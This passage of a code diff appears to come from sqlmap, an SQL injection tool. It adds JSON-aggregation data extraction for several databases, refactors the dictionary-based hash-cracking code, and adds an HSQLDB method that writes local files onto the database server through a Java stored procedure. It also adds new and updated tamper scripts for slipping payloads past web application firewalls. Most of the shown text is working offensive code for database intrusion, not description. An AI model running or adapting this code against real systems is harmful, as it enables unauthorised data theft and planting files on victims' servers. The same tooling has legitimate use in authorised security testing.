         vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
 
-        if not kb.rowXmlMode:
+        if not kb.jsonAggMode:
             injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
             kb.unionDuplicates = vector[7]
             kb.forcePartialUnion = vector[8]
@@ -99,7 +95,35 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
 
         incrementCounter(PAYLOAD.TECHNIQUE.UNION)
 
-        if not kb.rowXmlMode:
+        if kb.jsonAggMode:
+            if Backend.isDbms(DBMS.MSSQL):
+                output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), page or "")
+                if output:
+                    try:
+                        retVal = ""
+                        fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
+                        for row in json.loads(output):
+                            retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
+                    except:
+                        pass
+                    else:
+                        retVal = getUnicode(retVal)
+            elif Backend.isDbms(DBMS.PGSQL):
+                output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), page or "")
+                if output:
+                    retVal = output
+            else:
+                output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), page or "")
+                if output:
+                    try:
+                        retVal = ""
+                        for row in json.loads(output):
+                            retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop)
+                    except:
+                        pass
+                    else:
+                        retVal = getUnicode(retVal)
+        else:
             # Parse the returned page to get the exact UNION-based
             # SQL injection output
             def _(regex):
@@ -115,40 +139,6 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
                 page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
 
             retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
-        else:
-            output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
-            if output:
-                try:
-                    root = xml.etree.ElementTree.fromstring(safeStringFormat("<root>%s</root>", getBytes(output)))
-                    retVal = ""
-                    for column in kb.dumpColumns:
-                        base64 = True
-                        for child in root:
-                            value = child.attrib.get(column, "").strip()
-                            if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
-                                base64 = False
-                                break
-
-                            try:
-                                decodeBase64(value)
-                            except (binascii.Error, TypeError):
-                                base64 = False
-                                break
-
-                        if base64:
-                            for child in root:
-                                child.attrib[column] = decodeBase64(child.attrib.get(column, ""), binary=False) or NULL
-
-                    for child in root:
-                        row = []
-                        for column in kb.dumpColumns:
-                            row.append(child.attrib.get(column, NULL))
-                        retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
-
-                except:
-                    pass
-                else:
-                    retVal = getUnicode(retVal)
 
         if retVal is not None:
             retVal = getUnicode(retVal, kb.pageEncoding)
@@ -159,7 +149,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
 
             hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
 
-        elif not kb.rowXmlMode:
+        elif not kb.jsonAggMode:
             trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
 
             if trimmed:
@@ -167,12 +157,20 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
                 warnMsg += "(probably due to its length and/or content): "
                 warnMsg += safecharencode(trimmed)
                 logger.warn(warnMsg)
+
             elif re.search(r"ORDER BY [^ ]+\Z", expression):
                 debugMsg = "retrying failed SQL query without the ORDER BY clause"
-                logger.debug(debugMsg)
+                singleTimeDebugMessage(debugMsg)
 
                 expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
                 retVal = _oneShotUnionUse(expression, unpack, limited)
+
+            elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)):
+                debugMsg = "turning off NATIONAL CHARACTER casting"  # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
+                singleTimeDebugMessage(debugMsg)
+
+                kb.nchar = False
+                retVal = _oneShotUnionUse(expression, unpack, limited)
     else:
         vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
         kb.unionDuplicates = vector[7]
@@ -236,13 +234,6 @@ def unionUse(expression, unpack=True, dump=False):
     # Set kb.partRun in case the engine is called from the API
     kb.partRun = getPartRun(alias=False) if conf.api else None
 
-    if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
-        kb.rowXmlMode = True
-        _ = "(%s FOR XML RAW, BINARY BASE64)" % expression
-        output = _oneShotUnionUse(_, False)
-        value = parseUnionPage(output)
-        kb.rowXmlMode = False
-
     if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
         # Removed ORDER BY clause because UNION does not play well with it
         expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
@@ -250,6 +241,22 @@ def unionUse(expression, unpack=True, dump=False):
         debugMsg += "it does not play well with UNION query SQL injection"
         singleTimeDebugMessage(debugMsg)
 
+    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL) and expressionFields and not conf.binaryFields:
+        match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
+        if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression):
+            kb.jsonAggMode = True
+            if Backend.isDbms(DBMS.MYSQL):
+                query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1)
+            elif Backend.isDbms(DBMS.ORACLE):
+                query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
+            elif Backend.isDbms(DBMS.PGSQL):    # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
+                query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
+            elif Backend.isDbms(DBMS.MSSQL):
+                query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
+            output = _oneShotUnionUse(query, False)
+            value = parseUnionPage(output)
+            kb.jsonAggMode = False
+
     # We have to check if the SQL query might return multiple entries
     # if the technique is partial UNION query and in such case forge the
     # SQL limiting the query output one entry at a time
@@ -425,7 +432,7 @@ def unionUse(expression, unpack=True, dump=False):
     duration = calculateDeltaSeconds(start)
 
     if not kb.bruteMode:
-        debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
+        debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
         logger.debug(debugMsg)
 
     return value

lib/utils/api.py

@@ -61,6 +61,7 @@ from thirdparty.bottle.bottle import request
 from thirdparty.bottle.bottle import response
 from thirdparty.bottle.bottle import run
 from thirdparty.bottle.bottle import server_names
+from thirdparty import six
 from thirdparty.six.moves import http_client as _http_client
 from thirdparty.six.moves import input as _input
 from thirdparty.six.moves import urllib as _urllib
@@ -717,7 +718,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
             errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys())))
         else:
             errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
-            errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
+            errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter)
         logger.critical(errMsg)
 
 def _client(url, options=None):

lib/utils/hash.py

@@ -583,6 +583,41 @@ __functions__ = {
     HASH.SHA512_BASE64: sha512_generic_passwd,
 }
 
+def _finalize(retVal, results, processes, attack_info=None):
+    if _multiprocessing:
+        gc.enable()
+
+    # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367
+    # NOTE: https://dzone.com/articles/python-101-creating-multiple-processes
+    for process in processes:
+        try:
+            process.terminate()
+            process.join()
+        except (OSError, AttributeError):
+            pass
+
+    if retVal:
+        removals = set()
+
+        if conf.hashDB:
+            conf.hashDB.beginTransaction()
+
+        while not retVal.empty():
+            user, hash_, word = item = retVal.get(block=False)
+            results.append(item)
+            removals.add((user, hash_))
+            hashDBWrite(hash_, word)
+
+        for item in attack_info or []:
+            if (item[0][0], item[0][1]) in removals:
+                attack_info.remove(item)
+
+        if conf.hashDB:
+            conf.hashDB.endTransaction()
+
+        if hasattr(retVal, "close"):
+            retVal.close()
+
 def storeHashesToFile(attack_dict):
     if not attack_dict:
         return
@@ -1147,29 +1182,8 @@ def dictionaryAttack(attack_dict):
                     warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
                     logger.warn(warnMsg)
 
-                    for process in processes:
-                        try:
-                            process.terminate()
-                            process.join()
-                        except (OSError, AttributeError):
-                            pass
-
                 finally:
-                    if _multiprocessing:
-                        gc.enable()
-
-                    if retVal:
-                        if conf.hashDB:
-                            conf.hashDB.beginTransaction()
-
-                        while not retVal.empty():
-                            user, hash_, word = item = retVal.get(block=False)
-                            attack_info = [_ for _ in attack_info if _[0][0] != user or _[0][1] != hash_]
-                            hashDBWrite(hash_, word)
-                            results.append(item)
-
-                        if conf.hashDB:
-                            conf.hashDB.endTransaction()
+                    _finalize(retVal, results, processes, attack_info)
 
             clearConsoleLine()
 
@@ -1251,20 +1265,7 @@ def dictionaryAttack(attack_dict):
                                 pass
 
                     finally:
-                        if _multiprocessing:
-                            gc.enable()
-
-                        if retVal and conf.hashDB:
-                            if conf.hashDB:
-                                conf.hashDB.beginTransaction()
-
-                            while not retVal.empty():
-                                user, hash_, word = item = retVal.get(block=False)
-                                hashDBWrite(hash_, word)
-                                results.append(item)
-
-                            if conf.hashDB:
-                                conf.hashDB.endTransaction()
+                        _finalize(retVal, results, processes, attack_info)
 
                 clearConsoleLine()
 

plugins/dbms/hsqldb/filesystem.py

@@ -5,6 +5,12 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from lib.core.common import randomStr
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.decorators import stackedmethod
+from lib.core.enums import PLACE
+from lib.request import inject
 from lib.core.exception import SqlmapUnsupportedFeatureException
 from plugins.generic.filesystem import Filesystem as GenericFilesystem
 
@@ -13,6 +19,41 @@ class Filesystem(GenericFilesystem):
         errMsg = "on HSQLDB it is not possible to read files"
         raise SqlmapUnsupportedFeatureException(errMsg)
 
-    def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
-        errMsg = "on HSQLDB it is not possible to write files"
-        raise SqlmapUnsupportedFeatureException(errMsg)
+    @stackedmethod
+    def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
+        funcName = randomStr()
+        max_bytes = 1024 * 1024
+
+        debugMsg = "creating JLP procedure '%s'" % funcName
+        logger.debug(debugMsg)
+
+        addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes)
+        addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
+        addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
+        inject.goStacked(addFuncQuery)
+
+        fcEncodedList = self.fileEncode(localFile, "hex", True)
+        fcEncodedStr = fcEncodedList[0][2:]
+        fcEncodedStrLen = len(fcEncodedStr)
+
+        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
+            warnMsg = "as the injection is on a GET parameter and the file "
+            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
+            warnMsg += "bytes, this might cause errors in the file "
+            warnMsg += "writing process"
+            logger.warn(warnMsg)
+
+        debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
+        logger.debug(debugMsg)
+
+        # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
+        invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes)
+        inject.goStacked(invokeQuery)
+
+        logger.debug("cleaning up" % funcName)
+        delQuery = "DELETE PROCEDURE %s" % funcName
+        inject.goStacked(delQuery)
+
+        message = "the local file '%s' has been written on the back-end DBMS" % localFile
+        message += "file system ('%s')" % remoteFile
+        logger.info(message)

plugins/dbms/hsqldb/fingerprint.py

@@ -144,3 +144,10 @@ class Fingerprint(GenericFingerprint):
     def getHostname(self):
         warnMsg = "on HSQLDB it is not possible to enumerate the hostname"
         logger.warn(warnMsg)
+
+    def checkDbmsOs(self, detailed=False):
+        if Backend.getOs():
+            infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
+            logger.info(infoMsg)
+        else:
+            self.userChooseDbmsOs()

plugins/dbms/mysql/filesystem.py

@@ -96,7 +96,7 @@ class Filesystem(GenericFilesystem):
         fcEncodedStrLen = len(fcEncodedStr)
 
         if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
-            warnMsg = "the injection is on a GET parameter and the file "
+            warnMsg = "as the injection is on a GET parameter and the file "
             warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
             warnMsg += "bytes, this might cause errors in the file "
             warnMsg += "writing process"

plugins/dbms/postgresql/takeover.py

@@ -11,6 +11,7 @@ from lib.core.common import Backend
 from lib.core.common import checkFile
 from lib.core.common import decloakToTemp
 from lib.core.common import flattenValue
+from lib.core.common import filterNone
 from lib.core.common import isListLike
 from lib.core.common import isNoneValue
 from lib.core.common import isStackingAvailable
@@ -107,6 +108,7 @@ class Takeover(GenericTakeover):
 
             if isListLike(output):
                 output = flattenValue(output)
+                output = filterNone(output)
 
             if not isNoneValue(output):
                 output = os.linesep.join(output)

plugins/generic/databases.py

@@ -10,7 +10,6 @@ import re
 from lib.core.agent import agent
 from lib.core.common import arrayizeValue
 from lib.core.common import Backend
-from lib.core.common import extractRegexResult
 from lib.core.common import filterNone
 from lib.core.common import filterPairValues
 from lib.core.common import flattenValue
@@ -23,7 +22,6 @@ from lib.core.common import isTechniqueAvailable
 from lib.core.common import parseSqliteTableSchema
 from lib.core.common import popValue
 from lib.core.common import pushValue
-from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import safeStringFormat
@@ -54,7 +52,6 @@ from lib.core.settings import REFLECTED_VALUE_MARKER
 from lib.core.settings import UPPER_CASE_DBMSES
 from lib.core.settings import VERTICA_DEFAULT_SCHEMA
 from lib.request import inject
-from lib.techniques.union.use import unionUse
 from lib.utils.brute import columnExists
 from lib.utils.brute import tableExists
 from thirdparty import six
@@ -525,6 +522,9 @@ class Databases(object):
             else:
                 return kb.data.cachedColumns
 
+        if conf.exclude:
+            tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None]
+
         tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)
 
         if bruteForce is None:
@@ -636,18 +636,6 @@ class Databases(object):
                     logger.info(infoMsg)
 
                     values = None
-                    if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
-                        expression = query
-                        kb.dumpColumns = []
-                        kb.rowXmlMode = True
-
-                        for column in (extractRegexResult(r"SELECT (?P<result>.+?) FROM", query) or "").split(','):
-                            kb.dumpColumns.append(randomStr().lower())
-                            expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
-
-                        values = unionUse(expression)
-                        kb.rowXmlMode = False
-                        kb.dumpColumns = None
 
                     if values is None:
                         values = inject.getValue(query, blind=False, time=False)

plugins/generic/entries.py

@@ -159,7 +159,7 @@ class Entries(object):
                     continue
 
                 kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
-                colNames = colString = ", ".join(column for column in colList)
+                colNames = colString = ','.join(column for column in colList)
                 rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
 
                 infoMsg = "fetching entries"

plugins/generic/search.py

@@ -410,9 +410,11 @@ class Search(object):
 
             if tblCond:
                 if conf.tbl:
-                    _ = conf.tbl.split(',')
-                    whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
-                    infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
+                    tbls = conf.tbl.split(',')
+                    if conf.exclude:
+                        tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None]
+                    whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")"
+                    infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls))
 
             if conf.db == CURRENT_DB:
                 conf.db = self.getCurrentDb()

plugins/generic/users.py

@@ -617,7 +617,8 @@ class Users(object):
 
                     # In Informix we get one letter for the highest privilege
                     elif Backend.isDbms(DBMS.INFORMIX):
-                        privileges.add(INFORMIX_PRIVS[privilege.strip()])
+                        if privilege.strip() in INFORMIX_PRIVS:
+                            privileges.add(INFORMIX_PRIVS[privilege.strip()])
 
                     # In DB2 we get Y or G if the privilege is
                     # True, N otherwise

sqlmap.conf

@@ -51,6 +51,9 @@ cookie =
 # Character used for splitting cookie values (e.g. ;).
 cookieDel = 
 
+# Live cookies file used for loading up-to-date values.
+liveCookies = 
+
 # File containing cookies in Netscape/wget format.
 loadCookies = 
 
@@ -699,6 +702,10 @@ answers =
 # Parameter(s) containing Base64 encoded data
 base64Parameter =
 
+# Use URL and filename safe Base64 alphabet (Reference: https://en.wikipedia.org/wiki/Base64#URL_applications).
+# Valid: True or False
+base64Safe = False
+
 # Never ask for user input, use the default behaviour.
 # Valid: True or False
 batch = False
@@ -765,9 +772,12 @@ outputDir =
 # Valid: True or False
 parseErrors = False
 
-# Use given script(s) for preprocessing of response data.
+# Use given script(s) for preprocessing of request.
 preprocess =
 
+# Use given script(s) for postprocessing of response data.
+postprocess =
+
 # Redump entries having unknown character marker (?).
 # Valid: True or False
 repair = False
@@ -777,6 +787,10 @@ repair = False
 # Example: (google|yahoo)
 scope = 
 
+# Skip heuristic detection of SQLi/XSS vulnerabilities.
+# Valid: True or False
+skipHeuristics = False
+
 # Skip heuristic detection of WAF/IPS protection.
 # Valid: True or False
 skipWaf = False

sqlmap.py

@@ -317,7 +317,7 @@ def main():
             logger.critical(errMsg)
             raise SystemExit
 
-        elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp")):
+        elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")):
             errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir()
             errMsg += "Please make sure that your disk is not full and "
             errMsg += "that you have sufficient write permissions to "
@@ -428,6 +428,12 @@ def main():
             logger.critical(errMsg)
             raise SystemExit
 
+        elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")):
+            errMsg = "package 'python-ntlm' has a known compatibility issue with the "
+            errMsg += "Python 3 (Reference: https://github.com/mullender/python-ntlm/pull/61)"
+            logger.critical(errMsg)
+            raise SystemExit
+
         elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
             errMsg = "there has been a problem in enumeration. "
             errMsg += "Because of a considerable chance of false-positive case "

tamper/0eunion.py

@@ -29,4 +29,4 @@ def tamper(payload, **kwargs):
     '1e0UNION ALL SELECT'
     """
 
-    return re.sub("(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload
+    return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload

tamper/dunion.py

@@ -5,14 +5,17 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import os
 import re
 
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import DBMS
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.HIGHEST
 
 def dependencies():
-    pass
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE))
 
 def tamper(payload, **kwargs):
     """
@@ -28,4 +31,4 @@ def tamper(payload, **kwargs):
     '1DUNION ALL SELECT'
     """
 
-    return re.sub("(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload
+    return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload) if payload else payload

tamper/equaltolike.py

@@ -5,17 +5,14 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import os
 import re
 
-from lib.core.common import singleTimeWarnMessage
-from lib.core.enums import DBMS
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.HIGHEST
 
 def dependencies():
-    singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
+    pass
 
 def tamper(payload, **kwargs):
     """

tamper/equaltorlike.py

@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart
+
+    Tested against:
+        * MySQL 4, 5.0 and 5.5
+
+    Notes:
+        * Useful to bypass weak and bespoke web application firewalls that
+          filter the equal character ('=')
+
+    >>> tamper('SELECT * FROM users WHERE id=1')
+    'SELECT * FROM users WHERE id RLIKE 1'
+    """
+
+    retVal = payload
+
+    if payload:
+        retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal)
+
+    return retVal

tamper/hex2char.py

@@ -5,16 +5,19 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import os
 import re
 
+from lib.core.common import singleTimeWarnMessage
 from lib.core.convert import decodeHex
 from lib.core.convert import getOrds
+from lib.core.enums import DBMS
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.NORMAL
 
 def dependencies():
-    pass
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
 
 def tamper(payload, **kwargs):
     """

tamper/misunion.py

@@ -5,14 +5,17 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import os
 import re
 
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import DBMS
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.HIGHEST
 
 def dependencies():
-    pass
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
 
 def tamper(payload, **kwargs):
     """
@@ -30,4 +33,4 @@ def tamper(payload, **kwargs):
     '1"-.1UNION ALL SELECT'
     """
 
-    return re.sub("\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload
+    return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload